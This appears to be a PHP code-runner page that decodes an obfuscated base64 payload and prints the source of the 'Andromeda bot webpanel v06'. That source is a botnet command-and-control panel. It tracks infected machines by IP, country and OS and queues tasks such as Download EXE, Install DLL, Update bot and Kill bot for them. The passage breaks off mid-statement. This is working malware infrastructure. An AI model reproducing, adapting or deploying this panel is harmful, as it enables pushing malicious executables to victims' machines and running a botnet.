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fsEe49hZwzLlgHH6iIej5VF2W0pVyDpTfwhUWOhuxtlx0YNGkRTMXOAY5Fj1L0QNX0LVIwr1YMcJULvz2fYwMy/dLJY0nmexyI/KKqN2CoQ9P0vFVPtXvLasBlWY0xk3n5YxMfCl7TJGqEuRlR1aTHWzviE60JHn4HDOENrcxl6jA8A/7GXnj1WpdVNj8+sz1kXVT5cmxM3WT7wysqnL8hnLCXRA3xsKYV1B9pU9MCDE+rlMdj4yuPKRdzMzGTZx/13hIUjOp/ZpSPi5hVPRkZouESiYWVDnz5/NqKORWZOoui/j67dV1/UaRE5ng4H2U/a3qvR+oNa/CNHCDe/uU/kRK7pGOHQuhz1OCngabsyco7hWXOWWRXCpepopP7UGRMr9jFKD8rh/dbgcy/31B62CfAueYhvyTBdUEduw29Zq66opb/wSDWEU+UHLANhMECuYauohlbV2H/+w+IBIuSF6V0mCa9oVQWGJyGBK9PGrrwJMgnwWrkIUsGt4EpxFXIFTBWBQc+U3yo4YA+6EB43Kt/luDI65VUsL/m6fLzbOrns7B41C4eW4e4ERA0/YvLOvWyT5bhuyUhk3Lfo7ELB2cD4sFYty8479jLuP4Rq4twZKyLvP4B8at63kL73EPYLCOI4GiniVLS4ko3GwxjMlIPqsTlwHQy5pOmgcuU1Dghd/xLDltfxEkGPD6rxlHGaNMbHu53/AaxpvCM=';echo '','?>'.gzuncompress(base64_decode($_)).'<?php die();'; ?>
based on 96ouC

Abusive script

This script was stopped while abusing our resources

Output for 5.4.31, 5.4.33 - 5.4.36, 5.4.38, 5.4.42, 5.4.44 - 5.5.19, 5.5.21, 5.5.23, 5.5.25 - 5.5.26, 5.5.29 - 5.5.30, 5.5.34, 5.5.36 - 5.6.7, 5.6.9 - 5.6.10, 5.6.14 - 5.6.19, 5.6.23, 5.6.25, 5.6.27 - 5.6.28, 5.6.30 - 5.6.36, 5.6.38, hhvm-3.10.1 - 3.22.0, 7.0.1 - 7.0.5, 7.0.8, 7.0.12 - 7.0.16, 7.0.18, 7.0.21, 7.0.23, 7.0.26 - 7.0.28, 7.0.30 - 7.0.31, 7.1.1 - 7.1.5, 7.1.7 - 7.1.8, 7.1.10 - 7.1.11, 7.1.13 - 7.1.14, 7.1.16, 7.1.18 - 7.1.20, 7.1.22 - 7.2.10
?><?php function return404(){header("HTTP/1.0 404 Not Found");header("Status: 404 Not Found");die();}function microtime_float(){list($usec, $sec) = explode(" ", microtime());return ((float)$usec + (float)$sec);}$start_time=microtime_float();include("./config.php");@ini_set("magic_quotes_gpc","Off");if(isset($_GET['public'])&&isset($_GET['hash'])){$tid=(float)$_GET['public'];if(!@mysql_connect($settings['mysql_host'],$settings['mysql_user'],$settings['mysql_pass'])){return404();}if(!@mysql_select_db($settings['mysql_db'])){return404();}$qres=@mysql_query("SELECT * FROM tasks WHERE id=$tid AND public=1 LIMIT 1");if(mysql_num_rows($qres)==1){$row=@mysql_fetch_assoc($qres);if(md5("_".$row['parameter'])!=$_GET['hash']){return404();}$enabled=$row['enabled']==1?"True":"False";$percent=$row['downmax']!=0xFFFFFFFF?" (".round(100/$row['downmax']*$row['executed'],1)."% complited)":"";$row['downmax']=$row['downmax']==0xFFFFFFFF?"unlim":(float)$row['downmax'];die("<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=windows-1251\"><style>body{background-color:#EEEEEE}font{font-family:verdana;font-size:13px;}.mh{border:1px solid black;background-color:grey;padding-left:10px;}.mht{font-family:verdana;font-size:13px;font-weight:bold;}.me{border:1px solid black;border-top:0px;background-color:lightgray;padding-left:5px;padding-right:5px;}</style></head><body><table width=100% height=100%><tr><td></td><td width=600px><table width=100% cellspacing=0><tr><td class=\"mh\"><font class=\"mht\">Public statistic of task #$row[id]</font></td></tr><tr><td class=\"me\"><table cellspacing=0 width=100% style=\"padding-top:10px;padding-bottom:10px;\"><tr><td width=160 align=\"right\" style=\"padding-right:10px\"><font>Enabled:</font></td><td><font>$enabled</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>URL:</font></td><td><font>$row[parameter]</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Executed/Failure/Limit:</font></td><td><font>$row[executed]/$row[failure]/$row[downmax]$percent</font></td></tr></table></td></tr></table></td><td></td></tr></table></body></html>");}else{return404();}}elseif(md5($_SERVER['PHP_AUTH_USER'].";".$_SERVER['PHP_AUTH_PW'])!=$settings['login']){header('WWW-Authenticate: Basic');header('HTTP/1.0 401 Unauthorized');header('status: 401 Unauthorized');exit();}$ccode=array("XX","AF","AX","AL","DZ","AS","AD","AO","AI","A1","AQ","AG","AR","AM","AW","AP","AU","AT","AZ","BS","BH","BD","BB","BY","BE","BZ","BJ","BM","BT","BO","BA","BW","BV","BR","IO","BN","BG","BF","BI","KH","CM","CA","CV","KY","CF","TD","CL","CN","CX","CC","CO","KM","CD","CG","CK","CR","CI","HR","CU","CY","CZ","DK","DJ","DM","DO","EC","EG","SV","GQ","ER","EE","ET","EU","FK","FO","FJ","FI","FR","GF","PF","TF","GA","GM","GE","DE","GH","GI","GR","GL","GD","GP","GU","GT","GG","GN","GW","GY","HT","VA","HN","HK","HU","IS","IN","ID","IR","IQ","IE","IM","IL","IT","JM","JP","JE","JO","KZ","KE","KI","KP","KR","KW","KG","LA","LV","LB","LS","LR","LY","LI","LT","LU","MO","MK","MG","MW","MY","MV","ML","MT","MH","MQ","MR","MU","YT","MX","FM","MD","MC","MN","ME","MS","MA","MZ","MM","NA","NR","NP","NL","AN","NC","NZ","NI","NE","NG","NU","NF","MP","NO","OM","PK","PW","PS","PA","PG","PY","PE","PH","PL","PT","PR","QA","RE","RO","RU","RW","SH","KN","LC","PM","VC","WS","SM","ST","A2","SA","SN","RS","SC","SL","SG","SK","SI","SB","SO","ZA","GS","ES","LK","SD","SR","SJ","SZ","SE","CH","SY","TW","TJ","TZ","TH","TL","TG","TK","TO","TT","TN","TR","TM","TC","TV","UG","UA","AE","GB","US","UM","UY","UZ","VU","VE","VN","VG","VI","WF","EH","YE","ZM","ZW");$cname=array("Unknown","Afghanistan","Aland Islands","Albania","Algeria","American Samoa","Andorra","Angola","Anguilla","Anonymous Proxy","Antarctica","Antigua and Barbuda","Argentina","Armenia","Aruba","Asia/Pacific Region","Australia","Austria","Azerbaijan","Bahamas","Bahrain","Bangladesh","Barbados","Belarus","Belgium","Belize","Benin","Bermuda","Bhutan","Bolivia","Bosnia and Herzegovina","Botswana","Bouvet Island","Brazil","British Indian Ocean Territory","Brunei Darussalam","Bulgaria","Burkina Faso","Burundi","Cambodia","Cameroon","Canada","Cape Verde","Cayman Islands","Central African Republic","Chad","Chile","China","Christmas Island","Cocos (Keeling) Islands","Colombia","Comoros","Congo","Congo","Cook Islands","Costa Rica","Cote D'Ivoire","Croatia","Cuba","Cyprus","Czech Republic","Denmark","Djibouti","Dominica","Dominican Republic","Ecuador","Egypt","El Salvador","Equatorial Guinea","Eritrea","Estonia","Ethiopia","Europe","Falkland Islands (Malvinas)","Faroe Islands","Fiji","Finland","France","French Guiana","French Polynesia","French Southern Territories","Gabon","Gambia","Georgia","Germany","Ghana","Gibraltar","Greece","Greenland","Grenada","Guadeloupe","Guam","Guatemala","Guernsey","Guinea","Guinea-Bissau","Guyana","Haiti","Holy See (Vatican City State)","Honduras","Hong Kong","Hungary","Iceland","India","Indonesia","Iran","Iraq","Ireland","Isle of Man","Israel","Italy","Jamaica","Japan","Jersey","Jordan","Kazakhstan","Kenya","Kiribati","Korea","Korea","Kuwait","Kyrgyzstan","Lao People's Democratic Republic","Latvia","Lebanon","Lesotho","Liberia","Libyan Arab Jamahiriya","Liechtenstein","Lithuania","Luxembourg","Macau","Macedonia","Madagascar","Malawi","Malaysia","Maldives","Mali","Malta","Marshall Islands","Martinique","Mauritania","Mauritius","Mayotte","Mexico","Micronesia","Moldova","Monaco","Mongolia","Montenegro","Montserrat","Morocco","Mozambique","Myanmar","Namibia","Nauru","Nepal","Netherlands","Netherlands Antilles","New Caledonia","New Zealand","Nicaragua","Niger","Nigeria","Niue","Norfolk Island","Northern Mariana Islands","Norway","Oman","Pakistan","Palau","Palestinian Territory","Panama","Papua New Guinea","Paraguay","Peru","Philippines","Poland","Portugal","Puerto Rico","Qatar","Reunion","Romania","Russian Federation","Rwanda","Saint Helena","Saint Kitts and Nevis","Saint Lucia","Saint Pierre and Miquelon","Saint Vincent and the Grenadines","Samoa","San Marino","Sao Tome and Principe","Satellite Provider","Saudi Arabia","Senegal","Serbia","Seychelles","Sierra Leone","Singapore","Slovakia","Slovenia","Solomon Islands","Somalia","South Africa","South Georgia and the South Sandwich Islands","Spain","Sri Lanka","Sudan","Suriname","Svalbard and Jan Mayen","Swaziland","Sweden","Switzerland","Syrian Arab Republic","Taiwan","Tajikistan","Tanzania","Thailand","Timor-Leste","Togo","Tokelau","Tonga","Trinidad and Tobago","Tunisia","Turkey","Turkmenistan","Turks and Caicos Islands","Tuvalu","Uganda","Ukraine","United Arab Emirates","United Kingdom","United States","United States Minor Outlying Islands","Uruguay","Uzbekistan","Vanuatu","Venezuela","Vietnam","Virgin Islands","Virgin Islands","Wallis and Futuna","Western Sahara","Yemen","Zambia","Zimbabwe");define("MAIN_PAGE","<html><head><meta http-equiv=\"Content-Type\" Content=\"text/html;charset=windows-1251\"><title>Andromeda bot webpanel</title><link rel=stylesheet href=\"style.css\" type=\"text/css\"><link rel=stylesheet href=\"back.css\" type=\"text/css\"></head><body><table align=\"center\" width=100% cellspacing=0 height=100%><tr><td width=200px valign=\"top\"><table align=\"center\" width=100% cellspacing=0><tr><td class=\"mh\"><font class=\"mht\">Menu</font></td></tr><tr><td class=\"me\" style=\"<php:mbs>\"><a class=\"mt\" href=\"?act=bots&blacklist=0\">Bots</a></td></tr><tr><td class=\"me\" style=\"<php:mbls>\"><a class=\"mt\" href=\"?act=bots&blacklist=1\">Black list</a></td></tr><tr><td class=\"me\" style=\"<php:mts>\"><a class=\"mt\" href=\"?act=tasks\">Tasks</a></td></tr><tr><td class=\"me\" style=\"<php:mss>\"><a class=\"mt\" href=\"?act=service\">Service</a></td></tr></table><php:left_menu></td><td valign=\"top\" style=\"padding-left:10px\"><php:content></td></tr><tr><td></td><td align=\"right\" valign=\"bottom\"><font style=\"font-weight:700;color:333333\">Andromeda bot webpanel v06 (c) 2012<php:time></font></td></tr></table></body></html>");define("MENU","<table width=100% cellspacing=0 style=\"margin-top:10px;\"><tr><td class=\"mh\"><font class=\"mht\"><php:caption></font></td></tr><php:content></table>");define("BOTS_TABLE","<form id=\"bids_form\" method=\"post\"><input type=\"hidden\" name=\"bids\" id=\"bids\"/><table cellspacing=0 width=100% style=\"padding-top:10px\"><tr><th width=85px class=\"th\"><font>Bot ID</font></th><th width=80px class=\"th\"><font>Build ID</font></th><th class=\"th\"><font>IP address</font></th><th class=\"th\"><font>Country</font></th><th class=\"th\"><font>Install date</font></th><th class=\"th\"><font>Last response</font></th><th width=60px class=\"th\"><font>Task</font></th><th width=60px class=\"th\"><font>Bot ver.</font></th><th width=100px class=\"th\"><font>OS version</font></th><th width=60px class=\"thl\"><font>Status</font></th></tr><php:rows></table></form>");define("WINDOW","<table width=<php:width> align=\"left\" cellspacing=0><tr><td class=\"mh\"><font class=\"mht\"><php:caption></font></td></tr><tr><td class=\"me\"><php:content></td></tr></table>");define("TASK_FORM","<script>function upd(){var options=document.getElementById('cselect').options;var field=document.getElementById('cfield');if(options[0].selected){field.value='*'; return true;}first=true;field.value='';for (i=0; i<options.length; i++){if(options[i].selected==true){if(first==true){field.value=options[i].value; first=false;}else{field.value=field.value+','+options[i].value;}}}return true;}function showList(){var arr=document.getElementById('cfield').value.split(',');var options=document.getElementById('cselect').options;for (i=0; i<arr.length; i++){for (j=0; j<options.length; j++){if(options[j].value==arr[i]){options[j].selected=true;break;}}}document.getElementById('hidden').style.display='inline';return true;}</script><FORM method=\"post\" action=\"?act=tasks&subact=<php:subact><php:id>\"><table cellspacing=0 width=100%><tr><td width=130px align=\"right\" style=\"padding-right:10px\"><font>Task type:</font></td><td><select name=\"command\" style=\"width:110px;\"><option value=\"1\"<php:s1>>Download EXE</option><option value=\"4\"<php:s4>>Install DLL</option><option value=\"2\"<php:s2>>Install plugin</option><option value=\"3\"<php:s3>>Update bot</option><option value=\"5\"<php:s5>>Delete DLLs</option><option value=\"6\"<php:s6>>Delete plugins</option><option value=\"9\"<php:s9>>Kill bot</option></select><input type=\"checkbox\" name=\"enabled\" <php:enabled> /><font>Enabled</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Limit (0=not limited):</font></td><td><input type=\"text\" style=\"width:110px;\" name=\"downmax\" value=\"<php:downmax>\"/></td></tr><tr><td align=\"right\" valign=\"top\" style=\"padding-right:10px\"><font>Countries:</font></td><td><input id=\"cfield\" type=\"text\" style=\"width:530px;\" name=\"countries\" value=\"<php:countries>\" onfocus='showList()'/><br><div id=\"hidden\" style=\"display:none;\"><select id=\"cselect\" size=10 onchange='upd()' style=\"width:530px; margin-bottom:5px\" multiple><php:countrylist></select><br><font style=\"font-size:9px;\">* hold Ctrl button for multiple select</font></div></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Bot ID's:</font></td><td><input type=\"text\" maxlength=255 style=\"width:530px;\" name=\"botid\" value=\"<php:botid>\"/></td></tr><tr><td></td><td><font style=\"font-size:9px;\">Sample: \"*\", \"1234ABCD\" or multiple \"1234ABCD,ABCD1234,AB1234CD\"</font></td></tr><tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Build ID's:</font></td><td><input type=\"text\" maxlength=255 style=\"width:530px;\" name=\"buildid\" value=\"<php:buildid>\"/></td></tr><tr><td></td><td><font style=\"font-size:9px;\">Sample: \"*\", \"1234ABCD\" or multiple \"1234ABCD,ABCD1234,AB1234CD\"</font></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>URL:</font></td><td><input type=\"text\" maxlength=255 style=\"width:530px;\" name=\"parameter\" value=\"<php:parameter>\"/></td></tr><tr><td></td><td><input type=\"checkbox\" name=\"public\" <php:public> /><font>Public task</font></td></tr><tr><td></td><td><input type=\"submit\" class=\"i_submit\" value=\"<php:submit>\"/></td></tr></table></FORM>");function SaveSettings($settings){global $content;if(!$cfg=fopen("./config.php","w")){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Can't open \"config.php\" for writing.</font></div>"; return false;}fwrite($cfg,"<?php // !!! don't edit this file, just open http://yourdomain.com/?act=install\r\n");fwrite($cfg,"\$settings=array();\r\n");fwrite($cfg,"\$settings['mysql_host']=\"$settings[mysql_host]\";\r\n");fwrite($cfg,"\$settings['mysql_user']=\"$settings[mysql_user]\";\r\n");fwrite($cfg,"\$settings['mysql_pass']=\"$settings[mysql_pass]\";\r\n");fwrite($cfg,"\$settings['mysql_db']=\"$settings[mysql_db]\";\r\n");fwrite($cfg,"\$settings['login']=\"$settings[login]\";\r\n");fwrite($cfg,"\$settings['rc4key']=\"$settings[rc4key]\";\r\n");fwrite($cfg,"\$settings['reqrate']=$settings[reqrate];\r\n");fwrite($cfg,"\$settings['dead_limit']=$settings[dead_limit];\r\n");fwrite($cfg,"\$settings['accept_new_installs']=$settings[accept_new_installs];\r\n");fwrite($cfg,"?>");fclose($cfg);return true;}$act=isset($_GET['act'])?$_GET['act']:"bots";$subact=isset($_GET['subact'])?$_GET['subact']:"";$id=(float)($_GET['id']);$dead_limit=$settings['dead_limit']*60*60*24;$online_limit=$settings['reqrate']*60+60;$timestamp=time();$content="";$left_menu="";$dyn="";$dir=opendir("./plugins");while($plugname=readdir($dir)){if($plugname=="." || $plugname==".." || !is_dir("./plugins/".$plugname)){continue;}include("./plugins/$plugname/link.php");$dyn.="<tr><td class=\"me\"><a class=\"mt\" href=\"?act=$plugact\">$plugname</a></td></tr>";}if(!empty($dyn)){$left_menu=str_replace("<php:caption>","Plugins",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);}if($act=="install"){$settings['mysql_host']=(!empty($_POST["mysql_host"]))?$_POST["mysql_host"]:"localhost";$settings['mysql_user']=(!empty($_POST["mysql_user"]))?$_POST["mysql_user"]:"root";$settings['mysql_pass']=(!empty($_POST["mysql_pass"]))?$_POST["mysql_pass"]:"";$settings['mysql_db']=(!empty($_POST["mysql_db"]))?$_POST["mysql_db"]:"";$settings['rc4key']=(!empty($_POST["rc4key"]))?$_POST["rc4key"]:"";if(isset($_POST['login']) and isset($_POST['pass1'])){$time=time();echo "<pre style=\"font-family:Lucida Console; font-size:11px;\">connecting to mysql...\r\n\r\n";mysql_connect($settings['mysql_host'],$settings['mysql_user'],$settings['mysql_pass']) or die(mysql_error());mysql_query("CREATE DATABASE IF NOT EXISTS $settings[mysql_db]") or die(mysql_error());echo "selecting database \"$settings[mysql_db]\"...\r\n\r\n";mysql_select_db($settings['mysql_db']) or die(mysql_error());if($_POST['dropold']=="on"){mysql_query("DROP TABLE IF EXISTS bots");mysql_query("DROP TABLE IF EXISTS tasks");mysql_query("DROP TABLE IF EXISTS blacklist");mysql_query("DROP TABLE IF EXISTS socks4");}echo "creating tables...\r\n\r\n";mysql_query("CREATE TABLE IF NOT EXISTS bots (id INT UNSIGNED NOT NULL PRIMARY KEY, bid INT UNSIGNED NOT NULL, ip INT UNSIGNED NOT NULL, admin TINYINT UNSIGNED NOT NULL, x64 TINYINT UNSIGNED NOT NULL, nat TINYINT UNSIGNED NOT NULL, cnum TINYINT UNSIGNED NOT NULL, idate INT UNSIGNED NOT NULL, ldate INT UNSIGNED NOT NULL, ltask INT UNSIGNED NOT NULL, bot_version SMALLINT UNSIGNED NOT NULL, os_version SMALLINT UNSIGNED NOT NULL)") or die(mysql_error());mysql_query("CREATE TABLE IF NOT EXISTS blacklist (id INT UNSIGNED NOT NULL PRIMARY KEY)") or die(mysql_error());mysql_query("CREATE TABLE IF NOT EXISTS tasks (id INT UNSIGNED NOT NULL PRIMARY KEY AUTO_INCREMENT, command TINYINT UNSIGNED NOT NULL, parameter VARCHAR(255) NOT NULL, enabled TINYINT UNSIGNED NOT NULL, public TINYINT UNSIGNED NOT NULL, executed INT UNSIGNED NOT NULL, failure INT UNSIGNED NOT NULL, downmax INT UNSIGNED NOT NULL, countries TEXT NOT NULL, botid TEXT NOT NULL, buildid TEXT NOT NULL)") or die(mysql_error());mysql_query("CREATE TABLE IF NOT EXISTS socks4 (id INT UNSIGNED NOT NULL PRIMARY KEY, port SMALLINT UNSIGNED NOT NULL)") or die(mysql_error());echo "writing config...\r\n\r\n";$settings['reqrate']=9;$settings['dead_limit']=7;$settings['accept_new_instals']=1;$settings['login']=md5($_POST['login'].";".$_POST['pass1']);if(!SaveSettings($settings)){die("ERROR: cannot write config.");}echo "importing GeoIP to database...\r\n\r\n";mysql_query("DROP TABLE IF EXISTS geoip_all");mysql_query("CREATE TABLE geoip_all (ip_start CHAR(15) NOT NULL, ip_end CHAR(15) NOT NULL, iplong_start INT UNSIGNED NOT NULL, iplong_end INT UNSIGNED NOT NULL, cc CHAR(2) NOT NULL, cname CHAR (50) NOT NULL)") or die(mysql_error());if(!$gz=gzopen("./GeoIPCountryWhois.csv.gz","r")){die("GeoIPCountryWhois.csv.gz open failed.");}$flag=true;while($flag){$line=rtrim(gzgets($gz,4096),"\n");$row=explode(",",str_replace("\"","",$line));$query="INSERT INTO geoip_all VALUES ('$row[0]','$row[1]',$row[2],$row[3],'$row[4]','".mysql_escape_string($row[5])."')";for($i=0;$i<100;$i++){if($line=rtrim(gzgets($gz,4096),"\n")){$row=explode(",",str_replace("\"","",$line));$query.=",('$row[0]','$row[1]',$row[2],$row[3],'$row[4]','".mysql_escape_string($row[5])."')";}else{$flag=false; break;}}$query.=";";mysql_query($query) or die (mysql_error());}gzclose($gz);echo "done, parsing...\r\n\r\n";mysql_query("DROP TABLE IF EXISTS geoip_cc");mysql_query("CREATE TABLE geoip_cc (cnum TINYINT UNSIGNED AUTO_INCREMENT NOT NULL PRIMARY KEY, cc CHAR(2) NOT NULL, cname CHAR(50) NOT NULL)") or die(mysql_error());mysql_query("INSERT INTO geoip_cc (cc,cname) SELECT DISTINCT cc,cname FROM geoip_all ORDER BY cname") or die(mysql_error());mysql_query("DROP TABLE IF EXISTS geoip");mysql_query("CREATE TABLE geoip (iplong_start INT UNSIGNED NOT NULL, iplong_end INT UNSIGNED NOT NULL, cnum TINYINT UNSIGNED NOT NULL)") or die(mysql_error());mysql_query("INSERT INTO geoip SELECT iplong_start,iplong_end,cnum FROM geoip_all NATURAL JOIN geoip_cc") or die(mysql_error());$f=fopen("./carrays.php","w");$qres=mysql_query("SELECT cc FROM geoip_cc") or die(mysql_error());fwrite($f,"<?php\r\n\$ccode=array(\"XX\"");while($row=mysql_fetch_array($qres)){fwrite($f,",\"$row[0]\"");}fwrite($f,");\r\n\$cname=array(\"Unknown\"");$qres=mysql_query("SELECT cname FROM geoip_cc") or die(mysql_error());while($row=mysql_fetch_array($qres)){fwrite($f,",\"$row[0]\"");}fwrite($f,");\r\n?");fwrite($f,">");fclose($f);mysql_query("DROP TABLE geoip_all");mysql_query("DROP TABLE geoip_cc");die("done! ".sprintf("%u",time()-$time)." sec. elapsed. <a href=\"?act=bots\">Go to panel</a></pre>");}else{die("<html><head><meta http-equiv=\"Content-Type\" content=\"text/html;charset=windows-1251\"><style>input{font-family:verdana;font-size:11px;border:1px solid black;}select{font-family:verdana;font-size:11px;border:1px solid black;}font{font-family:verdana;font-size:11px;}.mh{border:1px solid black; background-color:grey;padding-left:10px;}.mht{font-family:verdana;font-size:13px;font-weight:bold;}.me{border:1px solid black;border-top:0px;background-color:lightgray;padding-left:5px;padding-right:5px;}.i_submit{width:100px;background-color:gray;margin-top:5px;margin-bottom:5px;}</style><title>Installation Andromeda bot webpanel</title><script language=\"JavaScript\">function compare_pass(){if(document.getElementById('pass1').value!=document.getElementById('pass2').value){alert(\"ERROR: Passwords not equal.\");return false;}return true;}</script></head><body><table width=405 cellspacing=0><tr><td class=\"mh\"><font class=\"mht\">Installation Andromeda bot webpanel</font></td></tr><tr><td class=\"me\"><FORM method=\"post\" action=\"?act=install\"><table cellspacing=0 width=100% style=\"padding-top:10px;\"><tr><td width=120 align=\"right\" style=\"padding-right:10px\"><font style=\"font-size:13px;\"><b>Panel</b></font></td><td></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Login:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"login\" value=\"$_POST[login]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Password:</font></td><td><input type=\"password\" style=\"width:250px;\" name=\"pass1\" id=\"pass1\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Confirm password:</font></td><td><input type=\"password\" style=\"width:250px;\" id=\"pass2\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>RC4 key:</font></td><td><input type=\"text\" maxlength=32 style=\"width:250px;\" name=\"rc4key\" value=\"$settings[rc4key]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px; padding-top:10px\"><font style=\"font-size:13px;\"><b>MySQL</b></font></td><td></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Host:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"mysql_host\" value=\"$settings[mysql_host]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Login:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"mysql_user\" value=\"$settings[mysql_user]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Password:</font></td><td><input type=\"password\" style=\"width:250px;\" name=\"mysql_pass\" value=\"$settings[mysql_pass]\"/></td></tr><tr><td align=\"right\" style=\"padding-right:10px\"><font>Database name:</font></td><td><input type=\"text\" style=\"width:250px;\" name=\"mysql_db\" value=\"$settings[mysql_db]\"/></td></tr><tr><td></td><td><input type=\"checkbox\" name=\"dropold\" checked><font>DROP old tables if exists.</font></td></tr><tr><td></td><td><input type=\"submit\" class=\"i_submit\" value=\"Install\" onclick=\"return compare_pass();\"></td></tr></table></FORM></td></tr></table></body></html>");}}if(!@mysql_connect($settings['mysql_host'],$settings['mysql_user'],$settings['mysql_pass'])){die("<p style=\"font-family:Lucida Console; font-size:11px;\">ERROR: mysql login failed. maybe panel not installed? --> <a href=?act=install>Install</a></p>");}if(!@mysql_select_db($settings['mysql_db'])){die("<p style=\"font-family:Lucida Console; font-size:11px;\">ERROR: can't select db '$settings[mysql_db]'. maybe panel not installed? --> <a href=?act=install>Install</a></p>");}$blacklist=$_GET['blacklist']=="1"?1:0;switch($act){case "bots":{switch($subact){case "ban":if(empty($_POST['bids'])){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Bots not selected.</font></div>";break;}$bids=explode(",",$_POST['bids']);for($i=0;$i<count($bids);$i++){mysql_query("INSERT INTO blacklist SET id=0x$bids[$i]") or die(mysql_error());}$content="<div class=\"mess\"><font style=\"font-weight:bold\">".count($bids)." bot(s) added to black list.</font></div>";break;case "del":if(empty($_POST['bids'])){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Bots not selected.</font></div>";break;}$bids=explode(",",$_POST['bids']);for($i=0;$i<count($bids);$i++){mysql_query("DELETE FROM bots WHERE id=0x$bids[$i]") or die(mysql_error()); @mysql_query("DELETE FROM blacklist WHERE id=0x$bids[$i]");}$content="<div class=\"mess\"><font style=\"font-weight:bold\">".count($bids)." bot(s) deleted from database.</font></div>";break;case "unban":if(empty($_POST['bids'])){$content="<div class=\"mess_err\"><font style=\"font-weight:bold\">Bots not selected.</font></div>";break;}$bids=explode(",",$_POST['bids']);for($i=0;$i<count($bids);$i++){;mysql_query("DELETE FROM blacklist WHERE id=0x$bids[$i]") or die(mysql_error());}$content="<div class=\"mess\"><font style=\"font-weight:bold\">".count($bids)." bot(s) deleted from blacklist.</font></div>";break;case "unbanall":mysql_query("DELETE FROM blacklist") or die(mysql_error());$content="<div class=\"mess\"><font style=\"font-weight:bold\">All bots deleted from blacklist.</font></div>";break;}$total_bots=0; $online_bots=0; $onl_h_bots=0; $onl_d_bots=0; $onl_w_bots=0; $new_bots=0; $dead_bots=0;if($blacklist){$query="SELECT ldate,idate FROM bots RIGHT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NOT NULL";$caption="Blacklist statistic";}else{$query="SELECT ldate,idate FROM blacklist RIGHT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NULL";$caption="General statistic";}$qres=mysql_query($query) or die (mysql_error());while($row=mysql_fetch_row($qres)){$total_bots++;if($timestamp-$row[0]<=$online_limit){$online_bots++;}if($timestamp-$row[0]<=3600){$onl_h_bots++;}if($timestamp-$row[0]<=86400){$onl_d_bots++;}if($timestamp-$row[0]<=604800){$onl_w_bots++;}if($timestamp-$row[1]<=86400){$new_bots++;}if($timestamp-$row[0]>$dead_limit){$dead_bots++;}}$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";$dyn.="<tr><td><font class=\"mt\">Total:</font></td><td align=\"right\"><font class=\"mt\">$total_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online:</font></td><td align=\"right\"><font class=\"mt\">$online_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online per hour:</font></td><td align=\"right\"><font class=\"mt\">$onl_h_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online per day:</font></td><td align=\"right\"><font class=\"mt\">$onl_d_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Online per week:</font></td><td align=\"right\"><font class=\"mt\">$onl_w_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">New bots at last day:</font></td><td align=\"right\"><font class=\"mt\">$new_bots</font></td></tr>";$dyn.="<tr><td><font class=\"mt\">Dead bots:</font></td><td align=\"right\"><font class=\"mt\">$dead_bots</font></td></tr>";$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>",$caption,MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);if($total_bots!=0){$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT os_version,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY os_version ORDER BY os_version DESC";}else{$query="SELECT os_version,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY os_version ORDER BY os_version DESC";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){switch($row[0]){case 0x0500: $version="Win2000"; break;case 0x0501: $version="WinXP"; break;case 0x0502: $version="Win2003"; break;case 0x0600: $version="WinVista"; break;case 0x0601: $version="Win7"; break;default: $version="Unknown";}if($row[1]){$dyn.="<tr><td><font class=\"mt\">$version</font></td><td align=\"right\"><font class=\"mt\">".round(100/$total_bots*$row[1],1)."% ($row[1])</font></td></tr>";}}$dyn.="</table></td></tr>";$left_menu.=str_replace("<php:caption>","Statistics by system",MENU);$left_menu=str_replace("<php:content>",$dyn,$left_menu);$dyn="<tr><td class=\"me\"><table width=100% cellspacing=0>";if($blacklist){$query="SELECT x64,COUNT(*) FROM blacklist LEFT JOIN bots ON blacklist.id=bots.id WHERE blacklist.id IS NOT NULL GROUP BY x64 ORDER BY x64";}else{$query="SELECT x64,COUNT(*) FROM bots LEFT JOIN blacklist ON bots.id=blacklist.id WHERE blacklist.id IS NULL GROUP BY x64 ORDER BY x64";}$qres=mysql_query($query) or die(mysql_error());while($row=mysql_fetch_row($qres)){if($row[0]==0){$dyn.="<tr><td><font class=\"mt\">x86</font></td>";}else{$dyn.="<tr><td><font class=\"mt\">x64</font></td>";}$dyn.="<td align=\"right\"><font class=\"mt\">".round(100/$total_bots*$row[1],1)."% 